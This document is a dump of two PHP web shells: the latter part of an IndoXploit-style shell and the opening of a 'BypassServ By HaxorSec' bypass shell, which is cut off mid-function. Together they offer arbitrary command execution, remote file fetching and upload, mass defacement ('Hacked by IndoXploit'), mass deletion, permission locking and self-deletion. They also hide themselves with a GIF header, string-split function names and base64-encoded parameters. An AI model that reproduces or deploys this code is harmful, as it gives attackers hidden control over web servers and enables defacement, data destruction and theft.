356 | 	for($i=0;$i<=$id;$i++){
357 | 	echo "$lokasis[$i]";
358 | 	if($i != $id) echo "/";
359 | } 
360 | echo '">'.$lok.'</a>/';
361 | }
362 | echo '<center>';
363 | echo '</td></tr><tr><td><br>';
364 | if (isset($_POST['upwkwk'])) {
365 | 	if (isset($_POST['berkasnya'])) {
366 | 		if ($_POST['dirnya'] == "2") {
367 | 			$lokasi = $_SERVER['DOCUMENT_ROOT'];
368 | 		}
369 | 		$data = @file_put_contents($lokasi."/".$_FILES['berkas']['name'], @file_get_contents($_FILES['berkas']['tmp_name']));
370 | 		if (file_exists($lokasi."/".$_FILES['berkas']['name'])) {
371 | 			echo "File Uploaded ! &nbsp;<font color='gold'><i>".$lokasi."/".$_FILES['berkas']['name']."</i></font><br><br>";
372 | 		} else {
373 | 			echo "<font color='red'>Failed to Upload !<br><br>";
374 | 		}
375 | 	} elseif (isset($_POST['linknya'])) {
376 | 		if (empty($_POST['namalink'])) {
377 | 			exit("Filename cannot be empty !");
378 | 		}
379 | 		if ($_POST['dirnya'] == "2") {
380 | 			$lokasi = $_SERVER['DOCUMENT_ROOT'];
381 | 		}
382 | 		$data = @file_put_contents($lokasi."/".$_POST['namalink'], @file_get_contents($_POST['darilink']));
383 | 		if (file_exists($lokasi."/".$_POST['namalink'])) {
384 | 			echo "File Uploaded ! &nbsp;<font color='gold'><i>".$lokasi."/".$_POST['namalink']."</i></font><br><br>";
385 | 		} else {
386 | 			echo "<font coloe='red'>Failed to Upload !<br><br>";
387 | 		}
388 | 	}
389 | }
390 | echo "<center>";
391 | echo "Upload File : ";
392 | echo '<form enctype="multipart/form-data" method="post">
393 | <input type="radio" value="1" name="dirnya" checked>current_dir [ '.cekdir().' ]
394 | <input type="radio" value="2" name="dirnya" >document_root [ '.cekroot().' ]
395 | <br>
396 | <input type="hidden" name="upwkwk" value="aplod">
397 | <input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br>
398 | </center>
399 | </form>';
400 | echo "</table>";
401 | print "<center>";
402 | print "<ul>";
403 | print "<text class='ff'>[</text> <a href='?'>Home</a> <text class='ff'>]</text>";
404 | print " <text class='ff'>[</text> <a href='?dir=".path()."&do=root_file'>Green All File</a> <text class='ff'>]</text>";
405 | print " <text class='ff'>[</text> <a href='?dir=".path()."&do=dark_file'>Lock All File</a> <text class='ff'>]</text>";
406 | print " <text class='ff'>[</text> <a href='?dir=".path()."&do=root_folders'>Green All Folder</a> <text class='ff'>]</text>";
407 | print " <text class='ff'>[</text> <a href='?dir=".path()."&do=dark_folders'>Lock All Folder</a> <text class='ff'>]</text>";
408 | print " <text class='ff'>[</text> <a href='?dir=".path()."&do=mass'>Mass Def & Dell</a> <text class='ff'>]</text>";
409 | print "</ul>";
410 | print "</center>";
411 | print "<center>";
412 | tools("cmd");
413 | function tools($toolsname, $args = null) {
414 | 	if($toolsname === "cmd") {
415 | print "<form method='post' action='?do=cmd&dir=".path()."' style='margin-top: 15px;'>
416 | 			  ".usergroup()->name."@".$GLOBALS['SERVERIP'].": ~ $
417 | 			  <input style='border: none; border-bottom: 1px solid #ffffff;' type='text' name='cmd' required>
418 | 			  <input style='border: none; border-bottom: 1px solid #ffffff;' class='input' type='submit' value='>>'>
419 | 			  </form>";
420 | 			print "</center>";
421 | 			}
422 | 		}
423 | 			function changeFolderPermissionsRecursive($dir, $perms) {
424 |     $iterator = new RecursiveIteratorIterator(
425 |         new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS),
426 |         RecursiveIteratorIterator::SELF_FIRST
427 |     );
428 | 
429 |     foreach ($iterator as $item) {
430 |         if ($item->isDir()) {
431 |             chmod($item->getPathname(), $perms);
432 |         }
433 |     }
434 | }
435 | 			
436 | 			function changeFilePermissionsRecursive($dir, $perms) {
437 |     $iterator = new RecursiveIteratorIterator(
438 |         new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS),
439 |         RecursiveIteratorIterator::SELF_FIRST
440 |     );
441 | 
442 |     foreach ($iterator as $item) {
443 |         if ($item->isFile()) {
444 |             chmod($item->getPathname(), $perms);
445 |         }
446 |     }
447 | }
448 | 
449 | $currentDirectory = '.';
450 | 			
451 | 			if (isset($_GET['do']) && $_GET['do'] === 'root_file') {
452 | 	$newFilePermissions = 0644;
453 |     changeFilePermissionsRecursive($currentDirectory, $newFilePermissions);
454 |     echo "<center>";
455 |     echo "Message : <p style='color:#00ff00'>Sukses Green All Files</p>";
456 |     echo "</center>";
457 | }
458 | 
459 | if (isset($_GET['do']) && $_GET['do'] === 'dark_file') {
460 |     $newFilePermissions = 0444;
461 |     changeFilePermissionsRecursive($currentDirectory, $newFilePermissions);
462 |     echo "<center>";
463 |     echo "Message : <p style='color:#00ff00'>Sukses Lock All Files</p>";
464 |     echo "</center>";
465 | }
466 | 
467 | if (isset($_GET['do']) && $_GET['do'] === 'dark_folders') {
468 |     $newFolderPermissions = 0555;
469 |     changeFolderPermissionsRecursive($currentDirectory, $newFolderPermissions);
470 |     echo "<center>";
471 |     echo "Message : <p style='color:#00ff00'>Sukses Lock All Folders</p>";
472 |     echo "</center>";
473 | }
474 | 
475 | if (isset($_GET['do']) && $_GET['do'] === 'root_folders') {
476 | 	$newFolderPermissions = 0755;
477 |     changeFolderPermissionsRecursive($currentDirectory, $newFolderPermissions);
478 |     echo "<center>";
479 |     echo "Message : <p style='color:#00ff00'>Sukses Green All Folders</p>";
480 |     echo "</center>";
481 | }
482 | 
483 | 
484 | 
485 | function exe($cmd) {
486 | 	if(function_exists('system')) { 		
487 | 		@ob_start(); 		
488 | 		@system($cmd); 		
489 | 		$buff = @ob_get_contents(); 		
490 | 		@ob_end_clean(); 		
491 | 		return $buff; 	
492 | 	} elseif(function_exists('exec')) { 		
493 | 		@exec($cmd,$results); 		
494 | 		$buff = ""; 		
495 | 		foreach($results as $result) { 			
496 | 			$buff .= $result; 		
497 | 		} return $buff; 	
498 | 	} elseif(function_exists('passthru')) { 		
499 | 		@ob_start(); 		
500 | 		@passthru($cmd); 		
501 | 		$buff = @ob_get_contents(); 		
502 | 		@ob_end_clean(); 		
503 | 		return $buff; 	
504 | 	} elseif(function_exists('shell_exec')) { 		
505 | 		$buff = @shell_exec($cmd); 		
506 | 		return $buff; 	
507 | 	} 
508 | }
509 | 
510 | function path() {
511 | 	if(isset($_GET['dir'])) {
512 | 		$dir = str_replace("\\", "/", $_GET['dir']);
513 | 		@chdir($dir);
514 | 	} else {
515 | 		$dir = str_replace("\\", "/", getcwd());
516 | 	}
517 | 	return $dir;
518 | }
519 | function usergroup() {
520 | 	if(!function_exists('posix_getegid')) {
521 | 		$user['name'] 	= @get_current_user();
522 | 		$user['uid']  	= @getmyuid();
523 | 		$user['gid']  	= @getmygid();
524 | 		$user['group']	= "?";
525 | 	} else {
526 | 		$user['uid'] 	= @posix_getpwuid(posix_geteuid());
527 | 		$user['gid'] 	= @posix_getgrgid(posix_getegid());
528 | 		$user['name'] 	= $user['uid']['name'];
529 | 		$user['uid'] 	= $user['uid']['uid'];
530 | 		$user['group'] 	= $user['gid']['name'];
531 | 		$user['gid'] 	= $user['gid']['gid'];
532 | 	}
533 | 	return (object) $user;
534 | }
535 | 
536 | if(isset($_GET['do'])) {
537 | 		if($_GET['do'] === "cmd") {
538 | 			if(isset($_POST['cmd'])) {
539 | 				if(preg_match("/^rf (.*)$/", $_POST['cmd'], $match)) {
540 | 					tools("readfile", $match[1]);
541 | 				}
542 | 				elseif(preg_match("/^spawn (.*)$/", $_POST['cmd'], $match)) {
543 | 					tools("spawn", $match[1]);
544 | 				}
545 | 				elseif(preg_match("/^symlink\s?(.*)$/", $_POST['cmd'], $match)) {
546 | 					tools("symlink", $match[1]);
547 | 				}
548 | 				elseif(preg_match("/^rvr (.*)$/", $_POST['cmd'], $match)) {
549 | 					tools("network", $match[1]);
550 | 				}
551 | 				elseif(preg_match("/^krdp$/", $_POST['cmd'])) {
552 | 					tools("krdp");
553 | 				}
554 | 				elseif(preg_match("/^logout$/", $_POST['cmd'])) {
555 | 					unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
556 | 					print "<script>window.location='?';</script>";
557 | 				}
558 | 				elseif(preg_match("/^killme$/", $_POST['cmd'])) {
559 | 					unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
560 | 					@unlink(__FILE__);
561 | 					print "<script>window.location='?';</script>";
562 | 				}
563 | 				else {
564 | 					print "<pre>".exe($_POST['cmd'])."</pre>";
565 | 				}
566 | 			}
567 | 			else {
568 | 				files_and_folder();
569 | 			}
570 | 		}
571 | }
572 | function massdeface($dir, $file, $filename, $type = null) {
573 | 	$scandir = scandir($dir);
574 | 	foreach($scandir as $dir_) {
575 | 		$path     = "$dir/$dir_";
576 | 		$location = "$path/$filename";
577 | 		if($dir_ === "." || $dir_ === "..") {
578 | 			file_put_contents($location, $file);
579 | 		}
580 | 		else {
581 | 			if(is_dir($path) AND is_writable($path)) {
582 | 				print "[".color(1, 2, "DONE")."] ".color(1, 4, $location)."<br>";
583 | 				file_put_contents($location, $file);
584 | 				if($type === "-alldir") {
585 | 					massdeface($path, $file, $filename, "-alldir");
586 | 				}
587 | 			}
588 | 		}
589 | 	}
590 | }
591 | 
592 | function massdelete($dir, $filename) {
593 | 	$scandir = scandir($dir);
594 | 	foreach($scandir as $dir_) {
595 | 		$path     = "$dir/$dir_";
596 | 		$location = "$path/$filename";
597 | 		if($dir_ === '.') {
598 | 			if(file_exists("$dir/$filename")) {
599 | 				unlink("$dir/$filename");
600 | 			}
601 | 		} 
602 | 		elseif($dir_ === '..') {
603 | 			if(file_exists(dirname($dir)."/$filename")) {
604 | 				unlink(dirname($dir)."/$filename");
605 | 			}
606 | 		} 
607 | 		else {
608 | 			if(is_dir($path) AND is_writable($path)) {
609 | 				if(file_exists($location)) {
610 | 					print "[".color(1, 2, "DELETED")."] ".color(1, 4, $location)."<br>";
611 | 					unlink($location);
612 | 					massdelete($path, $filename);
613 | 				}
614 | 			}
615 | 		}
616 | 	}
617 | }
618 | 		
619 | if (isset($_GET['fileloc'])) {
620 | 	echo "<tr><td>Current File : ".$_GET['fileloc'];
621 | 	echo '</tr></td></table><br/>';
622 | 	echo "<pre>".htmlspecialchars(file_get_contents($_GET['fileloc']))."</pre>";
623 | 	author();
624 | } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") {
625 | 	if (is_dir($_POST['path'])) {
626 | 		xrmdir($_POST['path']);
627 | 		if (file_exists($_POST['path'])) {
628 | 			red("Failed to delete Directory !");
629 | 		} else {
630 | 			green("Delete Directory Success !");
631 | 			echo "string";
632 | 		}
633 | 	} elseif (is_file($_POST['path'])) {
634 | 		@unlink($_POST['path']);
635 | 		if (file_exists($_POST['path'])) {
636 | 			red("Failed to Delete File !");
637 | 		} else {
638 | 			green("Delete File Success !");
639 | 		}
640 | 	}
641 | 	elseif($_GET['do'] === "mass") {
642 | 			if($_POST['start']) {
643 | 				if($_POST['mass_type'] === 'singledir') {
644 | 					print "<div style='margin: 5px auto; padding: 5px'>";
645 | 					massdeface($_POST['d_dir'], $_POST['script'], $_POST['d_file']);
646 | 					print "</div>";
647 | 				} 
648 | 				elseif($_POST['mass_type'] === 'alldir') {
649 | 					print "<div style='margin: 5px auto; padding: 5px'>";
650 | 					massdeface($_POST['d_dir'], $_POST['script'], $_POST['d_file'], "-alldir");
651 | 					print "</div>";
652 | 				}
653 | 				elseif($_POST['mass_type'] === "delete") {
654 | 					print "<div style='margin: 5px auto; padding: 5px'>";
655 | 					massdelete($_POST['d_dir'], $_POST['d_file']);
656 | 					print "</div>";
657 | 				}
658 | 			} 
659 | 			else {
660 | 				print "<center><form method='post'>
661 | 					   <font style='text-decoration: underline;'>Tipe Sabun:</font><br>
662 | 					   <input type='radio' name='mass_type' value='singledir' checked>Mass Deface Single Directory<input type='radio' name='mass_type' value='alldir'>Mass Deface All Directory<input type='radio' name='mass_type' value='delete'>Mass Delete File<br>
663 | 					   <span>( kosongkan 'Index File' jika memilih Mass Delete File )</span><br><br>
664 | 					   <font style='text-decoration: underline;'>Folder:</font><br>
665 | 					   <input type='text' name='d_dir' value='".path()."' style='width: 450px;' height='10'><br><br>
666 | 					   <font style='text-decoration: underline;'>Filename:</font><br>
667 | 					   <input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br><br>
668 | 					   <font style='text-decoration: underline;'>Index File:</font><br>
669 | 					   <textarea name='script' style='width: 450px; height: 200px;'>Hacked by IndoXploit</textarea><br>
670 | 					   <input style='background: transparent; color: #ffffff; border: 1px solid #ffffff; width: 460px; margin: 5px auto;' type='submit' name='start' value='Mass'>
671 | 					   </form></center>";
672 | 			}
673 | 		}
674 | } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") {
675 | 	echo "<center>".$_POST['path']."<br>";
676 | 	echo '<form method="post">
677 | 	Permission : <input name="perm" type="text" class="up" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
678 | 	<input type="hidden" name="path" value="'.$_POST['path'].'">
679 | 	<input type="hidden" name="pilih" value="ubahmod">
680 | 	<input type="submit" value="Change" name="chm0d" class="up" style="cursor: pointer; border-color: #fff"/>
681 | 	</form>';
682 | 	if (isset($_POST['chm0d'])) {
683 | 		$cm = @chmod($_POST['path'], $_POST['perm']);
684 | 		if ($cm == true) {
685 | 			green("Change Mod Success !");
686 | 		} else {
687 | 			red("Change Mod Failed !");
688 | 		}
689 | 	}
690 | } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") {
691 | 	if (isset($_POST['gantin'])) {
692 | 		$ren = @rename($_POST['path'], $_POST['newname']);
693 | 		if ($ren == true) {
694 | 			green("Change Name Success !");
695 | 		} else {
696 | 			red("Change Name Failed !");
697 | 		}
698 | 	}
699 | 	if (empty($_POST['name'])) {
700 | 		$namaawal = $_POST['newname'];
701 | 	} else {
702 | 		$namawal = $_POST['name'];
703 | 	}
704 | 	echo "<center>".$_POST['path']."<br>";
705 | 	echo '<form method="post">
706 | 	New Name : <input name="newname" type="text" class="up" size="20" value="'.$namaawal.'" />
707 | 	<input type="hidden" name="path" value="'.$_POST['path'].'">
708 | 	<input type="hidden" name="pilih" value="gantinama">
709 | 	<input type="submit" value="Change" name="gantin" class="up" style="cursor: pointer; border-color: #fff"/>
710 | 	</form>';
711 | } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") {
712 | 	if (isset($_POST['gasedit'])) {
713 | 		$edit = @file_put_contents($_POST['path'], $_POST['src']);
714 | 		if ($edit == true) {
715 | 			green("Edit File Success !");
716 | 		} else {
717 | 			red("Edit File Failed !");
718 | 		}
719 | 	}
720 | 	echo "<center>".$_POST['path']."<br><br>";
721 | 	echo '<form method="post">
722 | 	<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br>
723 | 	<input type="hidden" name="path" value="'.$_POST['path'].'">
724 | 	<input type="hidden" name="pilih" value="edit">
725 | 	<input type="submit" value="Edit File" name="gasedit" />
726 | 	</form><br>';
727 | }
728 | 
729 | echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
730 | <tr class="first">
731 | <td><center>Name</center></td>
732 | <td><center>Size</center></td>
733 | <td><center>Permissions</center></td>
734 | <td><center>Options</center></td>
735 | </tr>';
736 | 
737 | foreach($lokasinya as $dir){
738 | 	if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue;
739 | 	echo "<tr>
740 | 	<td><a href=\"?path=".$lokasi."/".$dir."\">".$dir."</a></td>
741 | 	<td><center>--</center></td>
742 | 	<td><center>";
743 | 	if(is_writable($lokasi."/".$dir)) echo '<font color="green">';
744 | 	elseif(!is_readable($lokasi."/".$dir)) echo '<font color="red">';
745 | 	echo statusnya($lokasi."/".$dir);
746 | 	if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo '</font>';
747 | 
748 | 	echo "</center></td>
749 | 	<td><center><form method=\"POST\" action=\"?pilihan&path=$lokasi\">
750 | 	<select name=\"pilih\">
751 | 	<option value=\"\"></option>
752 | 	<option value=\"hapus\">Delete</option>
753 | 	<option value=\"ubahmod\">Chm0d</option>
754 | 	<option value=\"gantinama\">Rename</option>
755 | 	</select>
756 | 	<input type=\"hidden\" name=\"type\" value=\"dir\">
757 | 	<input type=\"hidden\" name=\"name\" value=\"$dir\">
758 | 	<input type=\"hidden\" name=\"path\" value=\"$lokasi/$dir\">
759 | 	<input type=\"submit\" class=\"gas\" value=\">\" />
760 | 	</form></center></td>
761 | 	</tr>";
762 | }
763 | 
764 | echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
765 | foreach($lokasinya as $file) {
766 | 	if(!is_file("$lokasi/$file")) continue;
767 | 	$size = filesize("$lokasi/$file")/1024;
768 | 	$size = round($size,3);
769 | 	if($size >= 1024){
770 | 	$size = round($size/1024,2).' MB';
771 | } else {
772 | 	$size = $size.' KB';
773 | }
774 | 
775 | echo "<tr>
776 | <td><a href=\"?fileloc=$lokasi/$file&path=$lokasi\">$file</a></td>
777 | <td><center>".$size."</center></td>
778 | <td><center>";
779 | if(is_writable("$lokasi/$file")) echo '<font color="green">';
780 | elseif(!is_readable("$lokasi/$file")) echo '<font color="red">';
781 | echo statusnya("$lokasi/$file");
782 | if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo '</font>';
783 | echo "</center></td><td><center>
784 | <form method=\"post\" action=\"?pilihan&path=$lokasi\">
785 | <select name=\"pilih\">
786 | <option value=\"\"></option>
787 | <option value=\"hapus\">Delete</option>
788 | <option value=\"ubahmod\">Chm0d</option>
789 | <option value=\"gantinama\">Rename</option>
790 | <option value=\"edit\">Edit</option>
791 | </select>
792 | <input type=\"hidden\" name=\"type\" value=\"file\">
793 | <input type=\"hidden\" name=\"name\" value=\"$file\">
794 | <input type=\"hidden\" name=\"path\" value=\"$lokasi/$file\">
795 | <input type=\"submit\" class=\"gas\" value=\">\" />
796 | </center></form></td>
797 | </tr>";
798 | }
799 | 
800 | echo '</tr></td></table></table>';
801 | author();
802 | ?>
803 | 


--------------------------------------------------------------------------------
/haxorsec-bypasser.php:
--------------------------------------------------------------------------------
  1 | GIF89a;
  2 | ;; 
  3 | <!DOCTYPE html>
  4 | <html>
  5 | <head>
  6 |     <title>BypassServ By HaxorSec</title>
  7 |     <meta charset="UTF-8">
  8 |     <meta http-equiv="X-UA-Compatible" content="IE=edge">
  9 |     <meta name="robots" content="noindex, nofollow">
 10 |     <meta name="googlebot" content="noindex">
 11 |     <link href="https://fonts.googleapis.com/css?family=Arial%20Black" rel="stylesheet">
 12 |     <style>
 13 |     body {
 14 |         font-family: 'Arial Black', sans-serif;
 15 |         color: #000;
 16 |         margin: 0;
 17 |         padding: 0;
 18 |         background-color: #242222c9;
 19 |     }
 20 |     .result-box-container {
 21 |         position: relative;
 22 |         margin-top: 20px;
 23 |     }
 24 | 
 25 |     .result-box {
 26 |         width: 100%;
 27 |         height: 200px;
 28 |         padding: 10px;
 29 |         border: 1px solid #ddd;
 30 |         border-radius: 5px;
 31 |         background-color: #f4f4f4;
 32 |         overflow: auto;
 33 |         box-sizing: border-box;
 34 |         font-family: 'Arial Black', sans-serif;
 35 |         color: #333;
 36 |     }
 37 | 
 38 |     .result-box::placeholder {
 39 |         color: #999;
 40 |     }
 41 | 
 42 |     .result-box:focus {
 43 |         outline: none;
 44 |         border-color: #000000;
 45 |     }
 46 | 
 47 |     .result-box::-webkit-scrollbar {
 48 |         width: 8px;
 49 |     }
 50 | 
 51 |     .result-box::-webkit-scrollbar-thumb {
 52 |         background-color: #000000;
 53 |         border-radius: 4px;
 54 |     }
 55 |     .container {
 56 |         max-width: 90%;
 57 |         margin: 20px auto;
 58 |         padding: 20px;
 59 |         background-color: #ffffff;
 60 |         border-radius: 44px;
 61 |         box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
 62 |     }
 63 |     .header {
 64 |         text-align: center;
 65 |         margin-bottom: 20px;
 66 |     }
 67 |     .header h1 {
 68 |         font-size: 24px;
 69 |     }
 70 |     .subheader {
 71 |         text-align: center;
 72 |         margin-bottom: 20px;
 73 |     }
 74 |     .subheader p {
 75 |         font-size: 16px;
 76 |         font-style: italic;
 77 |     }
 78 |     form {
 79 |         margin-bottom: 20px;
 80 |     }
 81 |     form input[type="text"],
 82 |     form textarea {
 83 |         padding: 8px;
 84 |         margin-bottom: 10px;
 85 |         border: 1px solid #000;
 86 |         border-radius: 3px;
 87 |         box-sizing: border-box;
 88 |         
 89 |     }
 90 |     form input[type="submit"] {
 91 | 
 92 |         padding: 10px;
 93 |         background-color: #000000;
 94 |         color: white;
 95 |         border: none;
 96 |         border-radius: 3px;
 97 |         cursor: pointer;
 98 |     }
 99 |     form input[type="file"] {
100 |         padding: 7px;
101 |         background-color: #000000;
102 |         color: white;
103 |         border: none;
104 |         border-radius: 3px;
105 |         cursor: pointer;
106 |     }
107 |     .result-box {
108 |             width: 100%;
109 |             height: 200px;
110 |             resize: none;
111 |             overflow: auto;
112 |             font-family: 'Arial Black';
113 |             background-color: #f4f4f4;
114 |             padding: 10px;
115 |             border: 1px solid #ddd;
116 |             margin-bottom: 10px;
117 |         }
118 |     form input[type="submit"]:hover {
119 |         background-color: #143015;
120 |     }
121 |     table {
122 |         width: 100%;
123 |         border-collapse: collapse;
124 |         margin-top: 20px;
125 |     }
126 |     th, td {
127 |         padding: 8px;
128 |         text-align: left;
129 |     }
130 |     th {
131 |         background-color: #5c5c5c;
132 |     }
133 |     tr:nth-child(even) {
134 |         background-color: #9c9b9bce;
135 |     }
136 |     .item-name {
137 |         max-width: 200px;
138 |         overflow: hidden;
139 |         text-overflow: ellipsis;
140 |         white-space: nowrap;
141 |     }
142 |     .size, .date {
143 |         width: 100px;
144 |     }
145 |     .permission {
146 |         font-weight: bold;
147 |         width: 50px;
148 |         text-align: center;
149 |     }
150 |     .writable {
151 |         color: #0db202;
152 |     }
153 |     .not-writable {
154 |         color: #d60909;
155 |     }
156 | textarea[name="file_content"] {
157 |             width: calc(100.9% - 10px);
158 |             margin-bottom: 10px;
159 |             padding: 8px;
160 |             max-height: 500px;
161 |             resize: vertical;
162 |             border: 1px solid #ddd;
163 |             border-radius: 3px;
164 |             font-family: 'Arial Black';
165 |         }
166 | </style>
167 | </head>
168 | <body>
169 | <div class="container">
170 | <?php
171 | 
172 | $chd = "c"."h"."d"."i"."r";
173 | $expl = "e"."x"."p"."l"."o"."d"."e";
174 | $scd = "s"."c"."a"."n"."d"."i"."r";
175 | $ril = "r"."e"."a"."l"."p"."a"."t"."h";
176 | $st = "s"."t"."a"."t";
177 | $isdir = "i"."s"."_"."d"."i"."r";
178 | $isw = "i"."s"."_"."w"."r"."i"."t"."a"."b"."l"."e";
179 | $mup = "m"."o"."v"."e"."_"."u"."p"."l"."o"."a"."d"."e"."d"."_"."f"."i"."l"."e";
180 | $bs = "b"."a"."s"."e"."n"."a"."m"."e";
181 | $htm = "h"."t"."m"."l"."s"."p"."e"."c"."i"."a"."l"."c"."h"."a"."r"."s";
182 | $fpc = "f"."i"."l"."e"."_"."p"."u"."t"."_"."c"."o"."n"."t"."e"."n"."t"."s";
183 | $mek = "m"."k"."d"."i"."r";
184 | $fgc = "f"."i"."l"."e"."_"."g"."e"."t"."_"."c"."o"."n"."t"."e"."n"."t"."s";
185 | $drnmm = "d"."i"."r"."n"."a"."m"."e";
186 | $unl = "u"."n"."l"."i"."n"."k";
187 | $timezone = date_default_timezone_get();
188 | date_default_timezone_set($timezone);
189 | $rootDirectory = $ril($_SERVER['\x44\x4f\x43\x55\x4d\x45\x4e\x54\x5f\x52\x4f\x4f\x54']);
190 | $scriptDirectory = $drnmm(__FILE__);
191 | 
192 | function x($b) {
193 | 
194 |     $be = "ba"."se"."64"."_"."en"."co"."de";
195 |     return $be($b);
196 | }
197 | 
198 | function y($b) {
199 |     $bd = "ba"."se"."64"."_"."de"."co"."de";
200 |     return $bd($b);
201 | }
202 | if(function_exists('mail')) {
203 |     $mail = "<font color='black'>[ mail() :</font><font color='green'> [ ON ]</font> ]";
204 | } else {
205 |     $mail = "<font color='black'>[ mail() :</font><font color='red'> [ OFF ]</font> ]";
206 | }
207 | if(function_exists('mb_send_mail')) {
208 |   $mbb = "<font color='black'>[ mb_send_mail() :</font><font color='green'> [ ON ]</font> ]";
209 | }else{
210 |    $mbb = "<font color='black'>[ mb_send_mail() :</font><font color='red'> [ OFF ]</font> ]";
211 | }
212 | if(function_exists('error_log')) {
213 |   $errr = "<font color='black'>[ error_log() :</font><font color='green'> [ ON ]</font> ]";
214 | }else{
215 |   $errr = "<font color='black'>[ error_log() :</font><font color='red'> [ OFF ]</font> ]";
216 | }
217 | if(function_exists('imap_mail')) {
218 |   $impp = "<font color='black'>[ imap_mail() :</font><font color='green'> [ ON ]</font> ]";
219 | }else{
220 |   $impp = "<font color='black'>[ imap_mail() :</font><font color='red'> [ OFF ]</font> ]<br>";
221 | }
222 | 
223 | 
224 | 
225 | 
226 | echo "<font color='black'>[ Command Bypas Status Wajib ON MAIL PUTENV @ HaxorSec]</font><br>";
227 | if (function_exists('mail')) {
228 |     echo $mail." ".$mbb." ".$errr." ".$impp;
229 | } else {
230 |     echo $mail." ".$mbb." ".$errr." ".$impp;
231 | }
232 | if (function_exists('putenv')) {
233 |     echo "<font color='black'>[ Function putenv() ] :</font><font color='green'> [ ON ]</font><br>";
234 | } else {
235 |     echo "<font color='black'>[ Function putenv() ] :<font color='red'> [ OFF ]</font><br>";
236 | }
237 | foreach ($_GET as $c => $d) $_GET[$c] = y($d);
238 | 
239 | $currentDirectory = $ril(isset($_GET['d']) ? $_GET['d'] : $rootDirectory);
240 | $chd($currentDirectory);
241 | 
242 | $viewCommandResult = '';
243 | 
244 | if ($_SERVER['REQUEST_METHOD'] === 'POST') {
245 |     if (isset($_FILES['fileToUpload'])) {
246 |         $target_file = $currentDirectory . '/' . $bs($_FILES["fileToUpload"]["name"]);
247 |         if ($mup($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
248 |             echo "<hr>File " . $htm($bs($_FILES["fileToUpload"]["name"])) . " Upload success<hr>";
249 |         } else {
250 |             echo "<hr>Sorry, there was an error uploading your file.<hr>";
251 |         }
252 |     } elseif (isset($_POST['folder_name']) && !empty($_POST['folder_name'])) {
253 |         $ff = $_POST['folder_name'];
254 |         $newFolder = $currentDirectory . '/' . $ff;
255 |         if (!file_exists($newfolder)) {
256 |             if ($mek($newFolder) !== false) {
257 |                 echo '<hr>Folder created successfully!';
258 |             }else{
259 |                 echo '<hr>Error: Failed to create folder!';
260 |             }
261 |         }
262 | 
263 |     } elseif (isset($_POST['file_name'])) {
264 |         $fileName = $_POST['file_name'];
265 |         $newFile = $currentDirectory . '/' . $fileName;
266 |         if (!file_exists($newFile)) {
267 |             if ($fpc($newFile, '') !== false) {
268 |                 echo '<hr>File created successfully!' . $fileName .' ';
269 |                 $fileToView = $newFile;
270 |                 if (file_exists($fileToView)) {
271 |                     $fileContent = $fgc($fileToView);
272 |                     $viewCommandResult = '<hr><p>Result: ' . $fileName . '</p>
273 |                     <form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'">
274 |                     <textarea name="content" class="result-box">' . $htm($fileContent) . '</textarea><td>
275 |                     <input type="hidden" name="edit_file" value="' . $fileName . '">
276 |                     <input type="submit" value=" Save "></form></td>';
277 |                 } else {
278 |                     $viewCommandResult = '<hr><p>Error: File not found!</p>';
279 |                 }
280 |             } else {
281 |                 echo '<hr>Error: Failed to create file!';
282 |             }
283 |         }else{
284 |             echo '<hr>Error: File Already Exists!';
285 |         }
286 |     } elseif (isset($_POST['cmd_input'])){
287 |         $p = "p"."u"."t"."e"."n"."v";
288 |         $a = "fi"."le_p"."ut_c"."ont"."e"."nt"."s";
289 |         $m = "m"."a"."i"."l";
290 |         $base = "ba"."se"."64"."_"."de"."co"."de";
291 |         $en = "ba"."se"."64"."_"."en"."co"."de";
292 |         $mb = "m"."b"."_"."s"."e"."n"."d"."_"."m"."a"."i"."l";
293 |         $err = "e"."r"."r"."o"."r"."_"."l"."o"."g";
294 |         $drnm = "d"."i"."r"."n"."a"."m"."e";
295 |         $imp = "i"."m"."a"."p"."_"."m"."a"."i"."l";
296 |         $currentFilePath = $_SERVER['PHP_SELF'];
297 |         $doc = $_SERVER['DOCUMENT_ROOT'];
298 |         $directoryPath = $drnm($currentFilePath);
299 |         $full = $doc . $directoryPath;
